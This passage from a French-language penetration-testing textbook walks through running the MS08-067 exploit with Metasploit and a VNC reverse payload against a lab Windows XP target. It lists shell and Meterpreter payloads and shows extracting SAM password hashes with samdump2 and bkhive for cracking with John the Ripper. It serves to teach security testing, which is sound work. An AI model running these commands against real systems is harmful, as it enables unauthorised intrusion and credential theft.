nous excutons sur le systme cible aprs que lexploit a pu sexcuter.
Maintenant que nous savons comment lancer Msfconsole et que nous
comprenons les termes employs, voyons comment utiliser Metasploit.
Lorsquils rencontrent pour la premire fois cet outil, les hackers et les
testeurs dintrusion font lerreur de croire quil manque dorganisation et
de prvenance. Noubliez pas que Metasploit nest pas une hachette mais
un scalpel. La plupart des dbutants sont submergs par le grand nombre
dexploits et de charges ; en gnral, ils se perdent dans la recherche des
exploits appropris. Ils perdent leur temps lancer aveuglment des
exploits sur une cible en esprant que quelque chose se produise. Nous
prsenterons ultrieurement un outil qui fonctionne de cette manire,
mais, pour le moment, nous devons faire preuve de plus de mthode.
Au lieu denvoyer dans tous les sens des exploits sur la cible, nous devons
trouver une manire de faire correspondre les vulnrabilits identifies
sur le systme avec les exploits fournis par Metasploit. Ds lors que vous
matriserez cette procdure simple, pntrer sur une cible vulnrable
sera un jeu denfant. Pour mettre en rapport les vulnrabilits de la cible
et les exploits de Metasploit, nous devons examiner les dcouvertes
ralises au cours de la phase 2. Nous commenons par nous focaliser
sur le rapport produit par Nessus ou sur les rsultats de la commande
nmap --script vuln. Rappelons que Nessus est un scanner de vulnrabilits
et quil nous fournit une liste des faiblesses connues ou des correctifs non
appliqus. Au cours de lexamen de la sortie de Nessus, nous devons
noter toutes les dcouvertes, mais en faisant plus particulirement
attention aux vulnrabilits marques High ou Critical. En effet, nombre
dentre elles, notamment celles qui correspondent aux correctifs
Microsoft manquants, sont prises en charge directement par des exploits
Metasploit.
Info
Les versions 4 et antrieures de Nessus utilisent un systme de classement
High, Medium et Low pour dfinir la gravit des dcouvertes. partir de
Nessus 5, Tenable ajoute le niveau Critical. En fonction du systme
dexploitation de la machine dattaque et de la manire dont Nessus a t
install, vous disposerez de la version 4 ou 5. Comme nous lavons
expliqu au chapitre prcdent, pour installer ou passer la version 5, il
suffit de se rendre sur le site de Nessus et de tlcharger la dernire
version qui correspond votre systme dexploitation. Elle est fournie
sous forme dun fichier .deb, dont linstallation se fait laide de la
commande suivante :
dpkg i fichier_deb__installer
Si une version prcdente de Nessus est installe, elle sera mise jour et
tous les paramtres dfinis seront conservs. Dans la suite, nous
utiliserons Nessus 5, mais dans le cadre de cet ouvrage nimporte quelle
version fera laffaire.
Supposons quau cours des phases prcdentes nous ayons dcouvert une
nouvelle cible ladresse 192.168.56.103. Lexcution de Nmap nous
indique quil sagit dune machine Windows XP sur laquelle le Service
Pack 3 est install et le pare-feu, dsactiv. Nous excutons le script NSE
vuln et Nessus sur la cible. La Figure 4.3 prsente le rapport de Nessus
pour lIP 192.168.56.103. Notez les deux dcouvertes critiques. Si vous
reproduisez cet exemple avec une machine virtuelle XP sans aucun
Service Pack appliqu, Nessus identifiera probablement au moins une
dizaine de vulnrabilits critiques. Cest pourquoi je vous conseille de
dmarrer les exploits de base avec des versions anciennes non corriges
de Windows !
Figure 4.3
Rapport de Nessus montrant les vulnrabilits importantes.
Pour acclrer la procdure, nous commenons par les vulnrabilits
Critical ou High. Nessus nous permet de cliquer sur chaque dcouverte
afin dobtenir les dtails du problme identifi. En examinant le premier
point critique, nous dcouvrons quil est d un correctif non appliqu.
Plus prcisment, le correctif MS08-067 de Microsoft na pas t install
sur la machine cible. Le second problme critique provient galement
dun correctif manquant, celui de rfrence MS09-001. Tous les dtails
sur chaque dcouverte peuvent tre examins en cliquant sur la ligne
correspondante.
ce stade, nous savons que notre cible souffre de deux vulnrabilits
lies des correctifs non appliqus. Elles sont marques Critical et les
descriptions donnes par Nessus indiquent quelles permettent lexcution
de code distance. En tant quassaillant, votre rythme cardiaque doit
certainement semballer, car les chances que Metasploit puisse exploiter
cette cible sont trs bonnes.
Nous devons ensuite revenir Metasploit et rechercher les exploits qui
concernent les correctifs MS08-067 ou MS09-001 non appliqus. partir
de la console de Metasploit (mis jour), nous pouvons utiliser la
commande search pour localiser les exploits associs nos dcouvertes
Nessus ou Nmap. Pour cela, il suffit dexcuter cette commande en lui
indiquant le numro du correctif :
search ms08-067
Nous pouvons galement effectuer une recherche par date afin de
trouver un exploit plus rcent. Par exemple, la commande search 2013
affichera tous les exploits qui datent de 2013. Aprs que la commande
sest excute, prenez des notes dtailles sur les dcouvertes et
recherchez dautres correctifs non installs. Metasploit examinera ses
donnes et retournera les informations pertinentes quil trouvera. La
Figure 4.4 illustre les rsultats dune recherche sur MS08-067 et MS09-
001.
Figure 4.4
Faire le lien entre Nessus et Metasploit laide dune recherche.
Examinons le droulement de la procdure :
Nous avons lanc Metasploit et excut la commande search
en lui indiquant le correctif manquant dcouvert par Nessus.
Metasploit a trouv un exploit correspondant et nous a donn
plusieurs lments dinformation sur celui-ci.
Il indique le nom de lexploit correspondant et son
emplacement, exploit/windows/smb/ms08_067_netapi.
Il donne galement son rang et une courte description.
Faites attention au rang de lexploit. Cette information fournit des dtails
sur la fiabilit de lexploit (le nombre de fois o il russit) ainsi que sur sa
probabilit de provoquer une instabilit ou un dysfonctionnement du
systme cible. Plus le rang dun exploit est lev, plus ses chances de
russir sont fortes et moins le dysfonctionnement du systme cible est
probable. Voici les sept niveaux utiliss :
1. Manual (manuel).
2. Low (faible).
3. Average (moyen).
4. Normal (normal).
5. Good (bon).
6. Great (trs bon).
7. Excellent (excellent).
Attention
La fonction de recherche de Metasploit permet galement de localiser
des exploits non Microsoft. Nessus et les autres outils de scan, comme le
script vuln de Nmap, incluent souvent un numro CVE ou BID pour faire
rfrence aux vulnrabilits critiques. Si vous ne parvenez pas trouver
un correctif Microsoft manquant ou si vous menez un test dintrusion sur
une cible non Microsoft, noubliez pas de rechercher les exploits par leur
numro CVE ou BID. Vous les trouverez dans le rapport du scan de
vulnrabilits.
Sur le site web de Metasploit, vous trouverez de plus amples informations
et une dfinition formelle du systme de classement. Enfin, la fonction de
recherche de Metasploit affiche une courte description de lexploit, avec
des dtails sur lattaque. Vous devez toujours choisir les exploits de rang
le plus lev, car ils prsentent moins de risques de dysfonctionnement
sur le systme cible.
Nous savons prsent comment relier les vulnrabilits dcouvertes par
Nessus aux exploits dfinis dans Metasploit. Nous avons galement la
possibilit de choisir entre deux exploits Metasploit (voire plus). Nous
sommes donc prts lancer toute la puissance de cet outil sur notre cible.
Dans la suite de notre exemple, nous exploiterons la vulnrabilit lie au
correctif MS08-067 car lexploit correspondant a le rang le plus lev.
Pour excuter Metasploit, nous devons fournir au framework une suite de
commandes. Puisquil est dj en cours dexcution et que nous avons
identifi lexploit appropri, nous pouvons saisir la commande use pour
slectionner cet exploit :
use exploit/windows/smb/ms08_067_netapi
Elle demande Metasploit dutiliser lexploit que notre scanner de
vulnrabilits a identifi. Linvite msf> est modifie de faon montrer
lexploit choisi. Une fois lexploit activ, nous devons examiner les
charges disponibles. Pour cela, nous saisissons la commande suivante :
show payloads
Elle recense toutes les charges compatibles avec lexploit activ. Pour
slectionner lune delles, nous utilisons la commande set payload suivie
du nom de la charge :
set payload windows/vncinject/reverse_tcp
Le choix doit se faire parmi de trs nombreuses charges. Nous
prsenterons les plus employes plus loin ; une description complte des
diffrentes charges sort du cadre de cet ouvrage. Consultez la
documentation de Metasploit afin de connatre le dtail de chaque charge
disponible. Dans notre exemple, nous allons installer VNC sur la machine
cible et lui demanderons dtablir une connexion avec la ntre. Pour ceux
qui ne le savent pas, VNC est un logiciel de contrle distance qui
permet un utilisateur de se connecter une machine distante, de
lexaminer et den contrler la souris et le clavier comme sil se trouvait
devant cette machine. Il fonctionne la manire de Bureau distance ou
de Terminal Server.
Il est important de noter que VNC nest pas actuellement install sur la
machine cible. Noubliez pas que certains exploits nous donnent la
possibilit dinstaller un logiciel sur la cible. Dans cet exemple, si lexploit
que nous envoyons parvient sexcuter, il va appeler la charge install
vnc et installer distance le logiciel sur la victime sans aucune interaction
avec lutilisateur.
Chaque charge demande des options supplmentaires diffrentes. Si nous
ne dfinissons pas les options requises par une charge, lexploit chouera.
Il ny a rien de plus pnible que darriver aussi loin et dchouer en
raison dune option non configure. Pour connatre les options
disponibles, excutez la commande suivante linvite msf> :
show options
Elle affiche une liste de choix propres la charge choisie. Dans le cas de
windows/vncinject/reverse_tcp, nous constatons que deux options doivent
tre configures car elles nont pas de valeur par dfaut : RHOST et
LHOST. La premire indique ladresse IP de lhte cible distant (remote
host), tandis que la seconde prcise ladresse IP de la machine dattaque
(local host). Pour fixer la valeur dune option, il suffit dutiliser la
commande set nom_option :
set RHOST 192.168.56.103
set LHOST 192.168.56.101
Aprs que les options requises ont t dfinies, il est bon dexcuter
nouveau la commande show options afin de vrifier que tout est correct :
show options
Les vrifications tant faites, nous sommes prts lancer notre exploit.
Pour cela, il suffit de saisir le mot cl exploit linvite msf> et dappuyer
sur la touche Entre :
exploit
La Figure 4.5 rcapitule les commandes excuter pour lancer lexploit
(les commandes show payloads et show options sont absentes car elles ne
sont pas indispensables).
Figure 4.5
Les commandes ncessaires lancer un exploit partir de Metasploit.
Aprs que la commande exploit a t mise, asseyez-vous et regardez la
magie oprer. Pour vritablement apprcier la beaut et la complexit de
ce qui se passe, vous devrez comprendre les principes des dbordements
de tampon et de lexploitation. Nous vous le conseillons fortement lorsque
vous matriserez les bases de donnes dans cet ouvrage. Metasploit vous
permet de voir plus loin en montant sur les paules de gants et vous offre
la possibilit de lancer des attaques incroyablement complexes en
quelques commandes. Dlectez-vous de linstant prsent et apprciez la
conqute de la cible, mais vous devez galement vous promettre den
apprendre plus. Engagez-vous rellement comprendre lexploitation.
Ds quil reoit la commande exploit, Metasploit prend le relais et ralise
son travail, en envoyant des exploits et des charges sur la cible. Cest ce
moment-l que le hacking se passe comme au cinma. Si nous avons tout
configur correctement, au bout de quelques secondes nous obtenons un
cran qui appartient la machine victime. Puisque la charge utilise dans
cet exemple correspond linstallation de VNC, nous avons la possibilit
dinteragir avec la machine cible comme si nous tions assis devant son
clavier et son cran. La premire fois quun novice ralise cet exploit en
temps rel, il lui est difficile de ne pas tre impressionn, voire un tantinet
perplexe. La Figure 4.6 illustre notre exemple dattaque mene bien
avec Metasploit. Vous remarquerez que lordinateur qui a lanc lattaque
tourne sous Kali, mais que lassaillant dispose dun accs graphique total
au bureau de Windows de la victime.
Figure 4.6
Russite dun exploit sur une cible Windows.

Voici la liste des tapes requises pour excuter Metasploit sur une
machine cible :
1. Dmarrez Metasploit en ouvrant une fentre de terminal et
en excutant la commande suivante :
msfconsole
2.Excutez la commande search pour rechercher les exploits
qui correspondent au rapport produit par le scanner de
vulnrabilits :
msf > search numro_correctif_manquant (ou CVE)
3.Excutez la commande use pour slectionner lexploit
souhait :
msf > use nom_exploit_et_chemin
4.Excutez la commande show payloads pour connatre les
charges disponibles :
msf > show payloads
5.Excutez la commande set pour slectionner une charge :
msf > set payload chemin_de_la_charge
6.Excutez la commande show options pour afficher les
options dfinir avant de lancer lexploit sur la cible :
msf > show options
7.Excutez la commande set pour fixer les options requises :
msf > set nom_option valeur_option
8.Excutez la commande exploit pour lancer lexploit sur la
cible :
msf > exploit
Attention
La charge VNC impose que la cible tourne sur un systme dexploitation
avec une interface graphique comme Microsoft Windows. Si ce nest pas
le cas, il existe de nombreuses autres charges qui permettent dobtenir un
accs direct au systme cible.
Puisque vous disposez prsent des bases de lutilisation de Metasploit, il
est important que vous examiniez quelques autres charges de base
disponibles. Mme si linjection de VNC va impressionner vos amis, vos
relations et vos collgues, elle est rarement employe dans un test
dintrusion rel. En effet, les hackers prfrent disposer dun simple shell
qui permet les accs distance et le contrle de la machine cible. Le
Tableau 4.1 recense une partie des charges de base. La liste complte est
disponible dans la documentation de Metasploit. Noubliez pas que la
puissance de ce framework vient notamment de sa facult mlanger et
associer les exploits et les charges. Le testeur dintrusion dispose ainsi
dune souplesse incroyable et peut ajuster le fonctionnement de
Metasploit selon les rsultats souhaits. Il est essentiel que vous vous
familiarisiez avec les diffrentes charges proposes.
Tableau 4.1 : Exemples de charges envoyer aux machines Windows
Nom Description
windows/adduser
Cre sur la machine cible un nouvel
utilisateur qui appartient au groupe
administrateur.
windows/exec
Excute sur la machine cible un
binaire Windows (.exe).
windows/shell_bind_tcp
Ouvre sur la machine cible un shell
de commande et attend une
connexion.
windows/shell_reverse_tcp
La machine cible se connecte
lassaillant et ouvre un shell de
commande.
windows/meterpreter/bind_tcp
La machine cible installe
Meterpreter et attend une
connexion.
windows/meterpreter/reverse_tcp
Installe Meterpreter sur la machine
cible et cre une connexion de
retour lassaillant.
windows/vncinject/bind_tcp
Installe VNC sur la machine cible et
attend une connexion.
windows/vncinject/reverse_tcp
Installe VNC sur la machine cible et
renvoie une connexion VNC la
cible.

Un grand nombre de charges existent la fois pour Linux, BSD, OS X et
dautres systmes dexploitation. Tous les dtails se trouvent dans la
documentation de Metasploit. De nombreuses personnes ont du mal
faire la diffrence entre des charges similaires, par exemple entre
windows/meterpreter/bind_tcp et windows/meterpreter/reverse_tcp. Dans
ce cas, la confusion vient du mot "reverse". La diffrence entre les deux
charges est simple, mais elle est importante. Savoir quand utiliser lune ou
lautre fera souvent la diffrence entre le succs ou lchec dun exploit.
Dans ces attaques, le point important est le sens de la connexion aprs
que lexploit a t livr.
Dans une charge "bind", nous envoyons lexploit et nous tablissons une
connexion avec la cible partir de la machine dattaque. Lassaillant
envoie lexploit la cible, qui attend passivement larrive dune
connexion. Une fois lexploit envoy, la machine de lassaillant se
connecte la cible.
Dans une charge "reverse", la machine dattaque envoie lexploit mais
demande la machine cible de se connecter celle de lassaillant. Dans
ce type dattaque, plutt quattendre passivement une connexion entrante
sur un port ou un service prcis, la machine cible tablit une connexion
de retour vers lassaillant. La Figure 4.7 devrait rendre ce principe plus
clair.
Figure 4.7
Diffrence entre les charges "bind" et "reverse".
Pour finir sur le sujet de Metasploit, nous prsentons Meterpreter. Il sagit
dun outil puissant et souple que vous devrez apprendre contrler si
vous envisagez de devenir un expert de Metasploit. Le "mta-
interprteur", ou Meterpreter, est une charge de Metasploit qui donne
lassaillant un shell de commande grce auquel il peut interagir avec la
cible.
Lavantage de Meterpreter est quil sexcute intgralement en mmoire,
sans jamais utiliser le disque dur. Cette approche amliore sa discrtion et
lui permet dchapper de nombreux systmes antivirus et de laisser
perplexes certains outils danalyse forensique.
Meterpreter opre de manire comparable aux commandes cmd.exe de
Windows et /bin/sh de Linux. Aprs avoir t install sur la machine
cible, il permet lassaillant dinteragir avec celle-ci et dy excuter des
commandes comme sil se trouvait devant son clavier et son cran. Il faut
bien comprendre que Meterpreter sexcutera avec les droits associs au
programme qui a t exploit. Par exemple, supposons que notre
administrateur rseau prfr, Alain Trieur, ait perdu tout bon sens et
excute son programme IRC en tant que "root" (lquivalent Linux du
compte administrateur sous Windows). Malheureusement pour Alain, son
systme est obsolte et, au cours dun test dintrusion rcent, lassaillant a
t capable dexploiter le client IRC et dinstaller Meterpreter. Puisque
Alain utilise le programme IRC avec le compte root et que ce programme
a t pirat par Metasploit, le shell Meterpreter est prsent capable de
fonctionner avec tous les droits et privilges du compte root ! Ce nest
quun exemple dune longue liste de raisons qui justifient lexcution des
programmes avec les droits les plus restrictifs possible ; il faut tout prix
viter dexcuter quoi que ce soit en tant que superutilisateur ou
administrateur.
Contrairement un interprteur de commande classique sous Windows
ou sous Linux, Meterpreter ne va pas lancer un nouveau processus qui
pourra tre dtect par un utilisateur attentif ou un administrateur habile.
Sil utilise ces interprteurs de commande, lassaillant augmente sa
visibilit et les risques de dtection pendant ses interactions avec la cible.
Par ailleurs, cmd.exe et /bin/sh proposent un nombre limit doutils et de
commandes. loppos, Meterpreter a t conu ds le dpart pour
servir dinterprteur de commande au hacker, en lui donnant la possibilit
daccder la plupart des outils et des fonctions requises par un test
dintrusion et de les contrler.
Meterpreter bnficie de nombreuses fonctionnalits intgres. Cela
comprend la commande migrate, qui permet de dplacer le serveur vers
un autre processus. Cette opration est importante car le service
vulnrable qui a t attaqu peut tre arrt ou teint. La commande cat
se rvlera galement utile car elle permet dafficher lcran le
contenu dun fichier local. La commande download permet de rcuprer
un fichier ou un rpertoire partir de la machine cible et den faire une
copie sur la machine de lassaillant. La commande upload est utilise
pour transfrer des fichiers depuis la machine de lassaillant vers la
machine cible. La commande edit permet de modifier des fichiers
simples. La commande execute est capable dexcuter une commande
sur la machine distante, tandis que kill est en mesure darrter un
processus. Les commandes suivantes seront galement trs utiles et
apportent les mmes fonctions que sur une machine Linux normale : cd,
ls, ps, shutdown, mkdir, pwd et ifconfig.
Les fonctionnalits plus labores permettent de rcuprer des mots de
passe chiffrs (commande hashdump), dinteragir avec un shell Ruby, de
charger et dexcuter des DLL quelconques sur la cible, de contrler
distance la webcam et le microphone, et mme de verrouiller le clavier et
la souris de la cible !
Vous le constatez, obtenir un accs au shell Meterpreter offre
lassaillant lune des solutions les plus puissantes, souples et discrtes pour
interagir avec une cible. Vous ne perdrez pas votre temps en apprenant
utiliser cet outil pratique. Nous reviendrons sur Meterpreter lors de la
phase de postexploitation.
John the Ripper
Il est difficile dimaginer traiter un sujet comme les bases du hacking sans
sintresser aux mots de passe et leur craquage. Quoi que nous fassions,
ces mots de passe restent la solution la plus rpandue de protger des
donnes et dautoriser un accs des systmes. En gardant cela
lesprit, prsentons les bases du craquage des mots de passe.
Le testeur dintrusion a plusieurs bonnes raisons de sintresser au
craquage des mots de passe. Tout dabord, cela lui permet dobtenir des
privilges plus levs. Prenons lexemple suivant : supposons que nous
ayons t en mesure de compromettre un systme cible mais que, aprs
avoir ouvert une session, nous dcouvrions que nous ne disposons
daucun droit sur ce systme. Quels que soient nos actions, nous sommes
incapables de lire et dcrire des fichiers, de manipuler des dossiers ou
dinstaller des logiciels. Cela se produit souvent lorsque nous obtenons un
accs travers un compte dutilisateur appartenant au groupe user ou
guest, dont les autorisations sont rduites.
Si le compte utilis ne dispose daucun droit, ou de trs peu, nous ne
pourrons pas raliser la plupart des tapes ncessaires compromettre
rellement le systme. Jai assist plusieurs manuvres de la Red Team
dans lesquelles des hackers pourtant comptents taient totalement perdus
lorsquils se trouvaient avec un compte sans privilges. Ils levaient alors
les bras en disant : "Qui veut un accs non privilgi cette machine ? Je
ne sais pas quoi en faire." Dans ce cas, le craquage dun mot de passe est
une solution efficace pour augmenter ses privilges et souvent obtenir des
droits dadministration sur la cible.
Craquer les mots de passe et augmenter les privilges prsentent un autre
intrt : de nombreux outils employs par les testeurs dintrusion ont
besoin dun accs de niveau administrateur pour sinstaller et sexcuter
correctement. Il peut parfois arriver que le testeur dintrusion craque le
mot de passe de ladministrateur local (le compte dadministrateur de la
machine locale) et quil se rvle tre identique celui du compte de
ladministrateur de domaine.
Attention
Nutilisez jamais, mais vraiment jamais, le mme mot de passe pour
ladministrateur de la machine locale et pour ladministrateur de
domaine.
Si nous pouvons accder aux mots de passe chiffrs de la machine cible,
il est fort possible quavec un temps suffisant John the Ripper (JtR), outil
de craquage des mots de passe, puisse dcouvrir un mot de passe en clair.
La version chiffre dun mot de passe est obtenue par un hachage du mot
de passe en clair. Nous pouvons accder ces versions chiffres
distance ou localement. Dans les deux cas, les tapes et les outils
impliqus dans le craquage des mots de passe restent identiques. Dans sa
version la plus simple, le craquage dun mot de passe comprend deux
parties :
1. Localiser le fichier des mots de passe chiffrs sur le systme
cible et le tlcharger.
2. Employer un outil pour convertir les mots de passe chiffrs
en mots de passe en clair.
La plupart des systmes stockent les mots de passe non pas sous la forme
o nous les saisissons, mais dans une version chiffre appele hash. Par
exemple, supposons que vous choisissiez "azerty" pour mot de passe (ce
qui est videmment une mauvaise ide). Lorsque vous ouvrez une session
sur un ordinateur, vous saisissez le mot de passe "azerty" pour accder au
systme. En coulisse, lordinateur calcule, cre, transmet et vrifie une
version chiffre du mot de passe saisi. Ce hash du mot de passe ressemble
une chane de caractres et de chiffres alatoires.
Lalgorithme de hachage employ pour chiffrer les mots de passe peut
varier en fonction des systmes. La plupart dentre eux stockent ces
versions chiffres en un seul endroit. Ce fichier contient gnralement les
mots de passe chiffrs de plusieurs comptes dutilisateurs et du systme.
Malheureusement, accder aux mots de passe chiffrs ne reprsente que
la moiti du travail, car un simple examen dun hash ne suffit pas pour en
dterminer la version en clair. En effet, il est, normalement,
techniquement impossible de partir dun hash et darriver la version en
clair. Par dfinition, un hash na pas pour vocation tre dchiffr.
Prenons un exemple. Supposons que nous ayons obtenu la version
chiffre dun mot de passe et que nous souhaitions dcouvrir sa version
en clair. Il est important de comprendre que, dans la plupart des cas, nous
avons besoin non pas du hash mais du mot de passe en clair. La saisie de
la valeur chiffre dans le systme ne nous permettra pas dobtenir un
accs car elle sera simplement de nouveau chiffre.
Info
Il existe une attaque nomme "Pass the hash" qui permet de renvoyer la
version chiffre dun mot de passe afin de sauthentifier auprs dun
service protg. Lorsque cette attaque est employe, le craquage du mot
de passe pour obtenir sa version en clair devient inutile.
Dterminer la version en clair dun mot de passe se fait en plusieurs
tapes. Tout dabord, nous choisissons un algorithme de hachage, ensuite
nous prenons un mot en clair, puis nous le chiffrons laide de
lalgorithme de hachage, et, enfin, nous comparons la nouvelle version
chiffre obtenue avec le hash cible. Si les deux versions chiffres
correspondent, cela signifie que nous avons dcouvert le mot de passe en
clair. En effet, il nest pas possible dobtenir le mme hash en partant de
deux mots diffrents.
Bien que cette procdure puisse sembler lourde, difficile ou lente pour un
tre humain, des ordinateurs se sont spcialiss dans de telles oprations.
En raison de la puissance de calcul disponible aujourdhui, cette
procdure en quatre tapes est triviale pour un ordinateur moderne. La
vitesse laquelle John the Ripper est capable de gnrer des mots de
passe chiffrs dpend de lalgorithme de hachage et du matriel utiliss.
Nous pouvons toutefois assurer quun ordinateur normal est capable de
grer des millions de mots de passe Windows par seconde. John the
Ripper dispose dune fonctionnalit qui permet dvaluer les
performances de lordinateur. Les rsultats se mesurent en coups par
seconde (c/s). Pour tester votre machine, allez dans le rpertoire de John
the Ripper :
cd /usr/share/john
Toutefois, en fonction de votre systme, vous pourriez ne pas avoir
aller dans ce rpertoire car lexcutable de John the Ripper pourra se
trouver dans /usr/sbin/. Excutez ensuite la commande suivante pour
obtenir votre score :
john --test
Vous obtenez une liste de mesures de performances qui indiquent
lefficacit de votre systme dans la gnration des mots de passe
chiffrs, en fonction de votre matriel et de lalgorithme utilis.
Nous lavons mentionn prcdemment, le craquage dun mot de passe
peut tre ralis sous forme dune attaque locale ou distante. Dans les
explications suivantes, nous nous focaliserons sur le craquage local. Cest
ainsi quun assaillant ou un testeur dintrusion craquerait les mots de
passe sil disposait dun accs physique la machine. En tudiant
lattaque dun point de vue local, vous allez apprendre les bonnes
techniques. Nous terminerons cette section en expliquant comment cette
attaque peut tre mene distance.
Craquage local des mots de passe
Avant de pouvoir craquer des mots de passe sur une machine locale, nous
devons tout dabord obtenir le fichier des mots de passe chiffrs. Nous
lavons mentionn prcdemment, la plupart des systmes le placent en
un seul endroit. Sur une machine Windows, les versions chiffres se
trouvent dans un fichier particulier nomm fichier SAM (Security
Account Manager). Sur un systme Windows de type NT, y compris
Windows 2000 et ultrieures, le fichier SAM est prsent dans le dossier
C:\Windows\System32\Config\. Puisque nous connaissons prsent son
emplacement, nous devons en extraire les mots de passe chiffrs. Mais,
en raison des informations importantes quil contient, Microsoft a ajout
des fonctions de scurit pour le protger.
La premire protection est un verrouillage du fichier SAM au dmarrage
du systme dexploitation. Autrement dit, pendant que le systme
dexploitation sexcute, nous navons pas la possibilit douvrir ou de
copier le fichier SAM. Outre le verrou, lintgralit du fichier est
chiffre et non consultable.
Heureusement, il existe un moyen pour contourner ces barrires. Puisque
nous nous intressons des attaques locales et que nous disposons dun
accs physique au systme, la solution la plus simple consiste dmarrer
la machine avec un autre systme dexploitation, comme Kali. En
initialisant notre cible de cette faon, nous pouvons contourner le
verrouillage du fichier SAM par Windows. En effet, le systme
dexploitation Windows nest alors pas dmarr, le verrou nest donc pas
pos et nous avons toute libert daccder ce fichier.
Malheureusement, il nen reste pas moins chiffr et nous avons donc
besoin dun outil pour accder son contenu. Par chance, cet outil est
disponible dans Kali.
Info
Il existe plusieurs manires de dmarrer la cible avec un systme
dexploitation alternatif. La mthode la plus simple consiste tlcharger
un CD ou un DVD "live". Il peut tre grav sur un disque, que nous
pouvons insrer dans le lecteur de la machine cible. Au dmarrage, de
nombreux systmes vrifient si un disque est prsent dans leur lecteur et
tentent automatiquement de dmarrer partir de ce support sil est
dtect. Dans le cas contraire, nous pouvons utiliser une combinaison de
touches pour prciser le priphrique de dmarrage ou pour accder aux
paramtres du BIOS afin dy indiquer lordre des priphriques de
dmarrage.
Si la cible ne dispose pas dun lecteur optique, nous pouvons galement
utiliser UNetbootin pour crer une cl USB amorable. UNetbootin
permet de produire des versions "live" de Kali et de plusieurs autres
distributions Linux. En associant UNetbootin et une image ISO de Kali,
nous pouvons excuter un systme dexploitation complet partir dune
cl USB. Nous disposons alors dune bote outils puissante, portable et
discrte. linstar du CD/DVD live, il faudra probablement modifier
lordre des priphriques de dmarrage sur la machine cible avant
quelle puisse sinitialiser avec le systme dexploitation de la cl USB.
Aprs que le systme cible a dmarr partir dun autre systme
dexploitation, nous devons monter le disque dur local, celui qui contient
le dossier de Windows. Pour cela, il suffit dexcuter une commande
semblable la suivante :
mount /dev/sda1 /mnt/sda1
Il est important de dterminer le lecteur appropri, car tous les systmes
cibles nauront pas ncessairement /dev/sda1. Si vous ntes pas certain
du lecteur monter, excutez la commande fdisk -l partir du terminal.
Elle affiche la liste des lecteurs disponibles sur le systme cible, ce qui
devrait vous aider dterminer celui qui doit tre mont. Vous devrez
peut-tre crer un point de montage dans le rpertoire /mnt. Pour cela,
utilisez la commande mkdir :
mkdir /mnt/sda1
Si vous avez des difficults utiliser la commande mount ou localiser le
lecteur appropri, consultez sa page de manuel ou mettez en pratique les
connaissances Google que vous avez acquises lors de la phase 1.
Aprs avoir mont le disque local dans Kali, nous pouvons parcourir le
dossier C:\ de Windows pour aller jusquau fichier SAM :
cd /mnt/sda1/WINDOWS/system32/config
Si tout se passe comme prvu, nous sommes prsent dans le dossier qui
contient le fichier SAM. Pour examiner le contenu du dossier courant,
nous utilisons la commande ls dans la fentre de terminal. Elle doit
afficher le fichier SAM. La Figure 4.8 montre chaque tape ncessaire
la localisation du fichier SAM (nous supposons que le rpertoire
/mnt/sda1 a dj t cr).
Figure 4.8
Localiser le fichier SAM pour un craquage local des mots de passe.
Nous commenons par excuter la commande fdisk -l afin de connatre
les lecteurs disponibles. Elle nous indique quil existe un lecteur
/dev/sda1. Nous utilisons cette information pour monter le lecteur sur le
dossier /mnt/sda1 afin de pouvoir accder au disque dur local. Ensuite,
laide de la commande cd, nous allons dans le dossier qui contient le
fichier SAM. Nous vrifions que nous sommes dans le dossier appropri
en affichant son contenu avec la commande ls. Nous constatons que le
fichier SAM est bien prsent.
Nous avons localis le fichier SAM et avons la possibilit de lexaminer
et de le copier, contournant ainsi la premire protection, mais il reste
nanmoins chiffr. Pour en obtenir une version non chiffre, nous devons
utiliser SamDump2. SamDump2 se sert dun fichier system sur la machine
locale pour dchiffrer le fichier SAM. Heureusement, ces deux fichiers
se trouvent dans le mme dossier.
Nous excutons la commande samdump2 en lui passant le nom et
lemplacement du fichier SAM examiner ainsi que ceux du fichier
system. Nous avons prcdemment utilis la commande cd pour aller
dans le dossier Windows/system32/config. Nous pouvons donc extraire le
contenu du fichier SAM en excutant la commande suivante depuis un
terminal :
samdump2 SAM system > /tmp/mdp_chiffres.txt
Elle invoque le programme SamDump2, et lajout de >
/tmp/mdp_chiffres.txt permet denregistrer les rsultats dans le fichier
mdp_chiffres.txt sous le rpertoire /tmp de Kali. Il est prfrable de
vrifier les mots de passe extraits avant daller plus loin. Pour cela, nous
utilisons la commande cat de faon contrler que nous disposons dune
copie locale du fichier mdp_chiffres.txt :
cat /tmp/mdp_chiffres.txt
La Figure 4.9 illustre lutilisation de SamDump2 et montre le contenu du
fichier mdp_chiffres.txt gnr.
Figure 4.9
Extraire et examiner les mots de passe chiffrs avec SamDump2.
Attention
Sur certains systmes Windows, laccs aux versions chiffres brutes
peut exiger une tape supplmentaire. Loutil BkHive sert extraire la
cl syskey partir de la ruche systme. Vous devrez peut-tre utiliser
BkHive afin dobtenir cette cl et daccder aux mots de passe chiffrs.
BkHive attend le fichier system et le nom du fichier de sortie dans lequel
sera place la cl extraite. Nous lavons mentionn, Microsoft a t
suffisamment gentil pour que le fichier system se trouve dans le mme
rpertoire que le fichier SAM, en gnral WINDOWS/system32/config. Si
vous examinez le contenu de ce dossier, vous devez trouver le fichier
system de la machine cible.
En supposant que le rpertoire courant soit celui qui contient les fichiers
system et SAM, la commande suivante permet dextraire la cl :
bkhive system cle_sys.txt
Nous pouvons ensuite poursuivre lattaque avec SamDump2. Dans ce
cas, nous linvoquons avec le fichier cle_sys.txt que nous venons de
crer :
samdump2 SAM cle_sys.txt > /tmp/mdp_chiffres.txt
Tout au long de cet exemple, comme pour tous ceux de cet ouvrage,
faites attention lcriture des noms des dossiers, des fichiers et des
rpertoires (orthographe et casse). En fonction de la version de
Windows, system32 ou System32 peut tre employ. La saisie dun nom
incorrect provoquera lchec de la commande.
partir des mots de passe chiffrs extraits, nous pouvons poursuivre leur
craquage avec John the Ripper.
Les mots de passe chiffrs tant prsent enregistrs, nous devons les
transfrer en dehors du disque live de Kali. Pour cela, il suffit denvoyer
le fichier mdp_chiffres.txt par courrier lectronique nous-mmes ou
dinsrer une cl USB et de ly recopier. Quelle que soit la solution
employe, vrifiez que vous enregistrez le fichier mdp_chiffres.txt car
vous utilisez un CD "live" et les modifications ne sont donc pas
permanentes. Autrement dit, lorsque vous redmarrez la machine cible,
tous les fichiers que vous aurez crs sur le disque de Kali auront
disparu.
Avec le fichier des mots de passe chiffrs de la cible entre les mains,
nous pouvons commencer craquer les mots de passe. Pour cela nous
utilisons loutil John the Ripper. linstar des autres outils prsents,
